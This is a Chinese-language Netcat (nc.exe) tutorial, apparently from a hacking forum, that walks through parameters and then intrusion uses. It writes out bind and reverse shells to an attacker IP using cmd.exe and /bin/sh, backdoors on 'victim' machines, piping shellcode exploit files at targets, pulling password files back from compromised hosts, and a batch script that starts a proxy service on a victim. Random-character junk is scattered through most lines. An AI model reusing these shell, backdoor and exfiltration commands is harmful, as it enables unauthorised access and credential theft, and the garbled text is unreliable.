瑞士军刀NC下载与使用教程

nc.exe全称NetCat,被誉为网络安全界的"瑞士军刀\".nc.exe是一个非常标准的telnet客户端工具,正因为它的强大功能使得它在入侵时被广泛应用,成为黑客们的必备武器之一.

我把最近收集的nc.exe的使用方法整理了一下,发给大家.

另外还找到了一款改编后的可视化的nc,也提供给大家.

========================================================

软件介绍： 爱好者博墅zF1d"`&rJ-Nn-D*?

tzA(u,`]/qP0工具名：Netcat 爱好者博墅4n6kK-Wd'kQ*vx
作者：Hobbit && Chris Wysopal 
2QP TS;Ug Pg0类别：开放源码 爱好者博墅G0nr_g5BH.gL |*x
平台：Linux/BSD/Unix/Windows 

hlW*y;I ?T0WINDOWS下版本号：[v1.10 NT] 

========================================================

参数介绍： 爱好者博墅)_E"[R#T+`G

j/t"C _Mq.Y0*nc.exe -h*即可看到各参数的使用方法。 爱好者博墅*k2s7nT8K U
基本格式：nc [-options] hostname port[s] [ports] ... 
Q)i0lY;z1W.}
I.C,P0nc -l -p port [options] [hostname] [port] 爱好者博墅#BtYZp^8g,^ N
爱好者博墅S[ J7D&B@%YY
-d 后台模式 爱好者博墅J2i,w]6E0s#K
-e prog 程序重定向，一旦连接，就执行 [危险!!] 
Onn}/d G s
Y/f5\"y0-g gateway source-routing hop point[s], up to 8 爱好者博墅j;l/juRQ r4z0e){
-G num source-routing pointer: 4, 8, 12, ... 爱好者博墅-v:k H7{_*?4n8x5z,c'fVk
-h 帮助信息 爱好者博墅1\j?*r6Y7G8U[0B
-i secs 延时的间隔 爱好者博墅#jA*jV7^yD$|ex+R
-l 监听模式，用于入站连接 
@~"R}#uZLp0-L 连接关闭后,仍然继续监听 
r ~`W.{&s4S c k0-n 指定数字的IP地址，不能用hostname 爱好者博墅7q6t)qVN
A
-o file 记录16进制的传输 
^rhD3s0-p port 本地端口号 爱好者博墅Oe7tQ.L
u*@L0ci
-r 随机本地及远程端口 爱好者博墅&bVL^oOd
-s addr 本地源地址 爱好者博墅4LF8r:R1h;j!_*J.wO
-t 使用TELNET交互方式 爱好者博墅4q6{9uA0oK
-u UDP模式 
:|d8Wc)iTO0-v 详细输出--用两个-v可得到更详细的内容 

q1| o IM i3L4MbC0-w secs timeout的时间 
)tWqeI&Or0-z 将输入输出关掉--用于扫描时 爱好者博墅F}0W;~2H0v

kJZtH0y*i0端口的表示方法可写为M-N的范围格式。 

========================================================

基本用法： 
*X&~
DAc.P0爱好者博墅] U!]s$i#S0]J
1)连接到REMOTE主机，例子： 
%Q|{h2D_9fJ#UX1o0格式：nc -nvv 192.168.x.x 80 爱好者博墅/P4g(Z0d7Z
讲解：连到192.168.x.x的TCP80端口 爱好者博墅4{KL1g}

5~xLeMy0
o2M!XrO02)监听LOCAL主机，例子： 爱好者博墅UL-Zi$?'FfT-_n
格式：nc -l -p 80 爱好者博墅!z/o#b)Q+wA4Ss;o
讲解：监听本机的TCP80端口 爱好者博墅&St$L%z n&o

p'f zNw7sX6n\0
7pUbB@[/G03)扫描远程主机，例子： 爱好者博墅d7EE$EL.P3l4B$]ov
格式：nc -nvv -w2 -z 192.168.x.x 80-445 
,I*Xd\7ug0讲解：扫描192.168.x.x的TCP80到TCP445的所有端口 
D)n(u9z+@@U0
$Y~i#AN&M&yBG0
?;o5V8Ep
F*b04)REMOTE主机绑定SHELL，例子： 爱好者博墅+kT-fI?\!O[
格式：nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe 
:BF)G"BI9WY0讲解：绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口 
+|)Tn
t-gX0
z(j)kt`'EL0
$} e {o(d05)REMOTE主机绑定SHELL并反向连接，例子： 爱好者博墅0z
X.I*x*^)sI
格式：nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354 爱好者博墅H0W-j-qfT!?
讲解：绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口 
n!iZ6DdS*\&\3QO0
y lD5^y^ z8bK0爱好者博墅 c$PH
c|EW Q
以上为最基本的几种用法（其实NC的用法还有很多， 
u5r,I NF MQ0当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......）。

========================================================

高级用法：

6)作攻击程序用，例子： 

TJ-e]i(IR\!A0格式1：type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80 
0]G.}A i6V S0格式2：nc -nvv 192.168.x.x 80 < c:\exploit.txt 
Z/nt']
btW8}0讲解：连接到192.168.x.x的80端口，并在其管道中发送*c:\exploit.txt*的内容(两种格式确有相同的效果,真是有异曲同工之妙. 爱好者博墅.nRl.UD:Sw
爱好者博墅.LNuV,`1IQv
附：*c:\exploit.txt*为shellcode等 
BO5o8@+B-?0爱好者博墅}[8v7xVg;{ B
爱好者博墅7D4X,Z8A!q
7)作蜜罐用[1]，例子： 
X:Y2|Excds^7m0格式：nc -L -p 80 爱好者博墅3So@w"SMA9K4V
讲解：使用*-L*(注意L是大写)可以不停地监听某一个端口，直到ctrl+c为止 爱好者博墅$b AJD\v
爱好者博墅t0l[,ghPq
爱好者博墅\N;XG,S]L
8)作蜜罐用[2]，例子： 
5PN
U fM7Jui^0格式：nc -L -p 80 > c:\log.txt 爱好者博墅2n,S2A!gMz
讲解：使用*-L*可以不停地监听某一个端口，直到ctrl+c为止，同时把结果输出到*c:\log.txt*中，如果把*>* 改为*>>*即可以追加日志 爱好者博墅+f8yI6g6Iw@

*D.\ ~:K/V\0附：*c:\log.txt*为日志等 
M.[2|8y)l Wz#k0
*c'HQ9Anw0爱好者博墅&sP6dg#PY
9)作蜜罐用[3]，例子： 爱好者博墅1i;U#a,DLD
格式1：nc -L -p 80 < c:\honeypot.txt 爱好者博墅QY#Mh0LJy1v
格式2：type.exe c:\honeypot.txt|nc -L -p 80 爱好者博墅){ [*lf$om zX%d/}
讲解：使用*-L*可以不停地监听某一个端口，直到ctrl+c为止，并把*c:\honeypot.txt*的内容*送*入其管道中 

10) 后门

victim machine: //受害者的机器

nc -l -p port -e cmd //win2000

nc -l -p port -e /bin/sh //unix,linux

attacker machine: //攻击者的机器.

nc ip -p port //连接victim_IP,然后得到一个shell。

#_s @.M,_1jJi1Sc.@011)反向连接

attacker machine: //一般是sql2,远程溢出,webdavx3攻击.

//或者wollf的反向连接.

nc -vv -l -p port

victim machine:

nc -e cmd attacker ip -p port

nc -e /bin/sh attacker ip -p port

9NAOi`gPM6a {?0或者：

attacker machine:

nc -vv -l -p port1 /*用于输入*/

nc -vv -l -p prot2 /*用于显示*/

victim machine:

nc attacker_ip port1 　 cmd 　 nc attacker_ip port2

nc attacker_ip port1 　 /bin/sh 　 nc attacker_ip port2

$q I Q(z+U9z | ^$y*A0139要加参数-s（nc -L -p 139 -d -e cmd -s 对方机器IP）

这样就可以保证nc优先于NETBIOS。

12)传送文件：

从肉鸡拖密码文件回来.

nc -d -l -p port < path\filedest 　　　 /*attacker machine*/ 可以shell执行

nc -vv attacker_ip port > path\file.txt /*victim machine*/ 需要Ctrl+C退出

//肉鸡需要gui界面的cmd里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.

爱好者博墅^0N+R/E!C.Xiw
上传命令文件到肉鸡

nc －vv -l -p port > path\file.txt　　　　　 /*victim machine*/ 需要Ctrl+C退出

nc -d victim_ip port < path\filedest 　 /*attacker machine*/ 可以shell执行

//这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆.

爱好者博墅#C7qG`%@
s e
结论: 可以传输ascii,bin文件.可以传输程序文件.

爱好者博墅OF9r[.r(^HT3Y9K
问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc .

或者只有再次连接使用pskill 杀掉进程.但是是否释放传输文件打开的句柄了?

q|~pv013) 端口数据抓包.

nc -vv -w 2 -o test.txt www.m4ker.net 80 21-15

爱好者博墅?9T#m}cWD?n9W
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error

< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr

< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...

< 00000084 83 00 00 01 8f # .....

爱好者博墅S(E#U.C#|
14) telnet,自动批处理。

nc victim_ip port < path\file.cmd 　 /*victim machine*/ 显示执行过程.

nc -vv victim_ip port < path\file.cmd 　 /*victim machine*/ 显示执行过程.

爱好者博墅 ^M#G%Akn9`%f N
nc -d victim_ip port < path\file.cmd 安静模式.

爱好者博墅sKT"i5zSo#Ep
]
_______________file.cmd________________________

password

cd %windir%

echo []=[%windir%]

c:

cd \

md test

cd /d %windir%\system32\

net stop sksockserver

snake -config port 11111

net start sksockserver

exit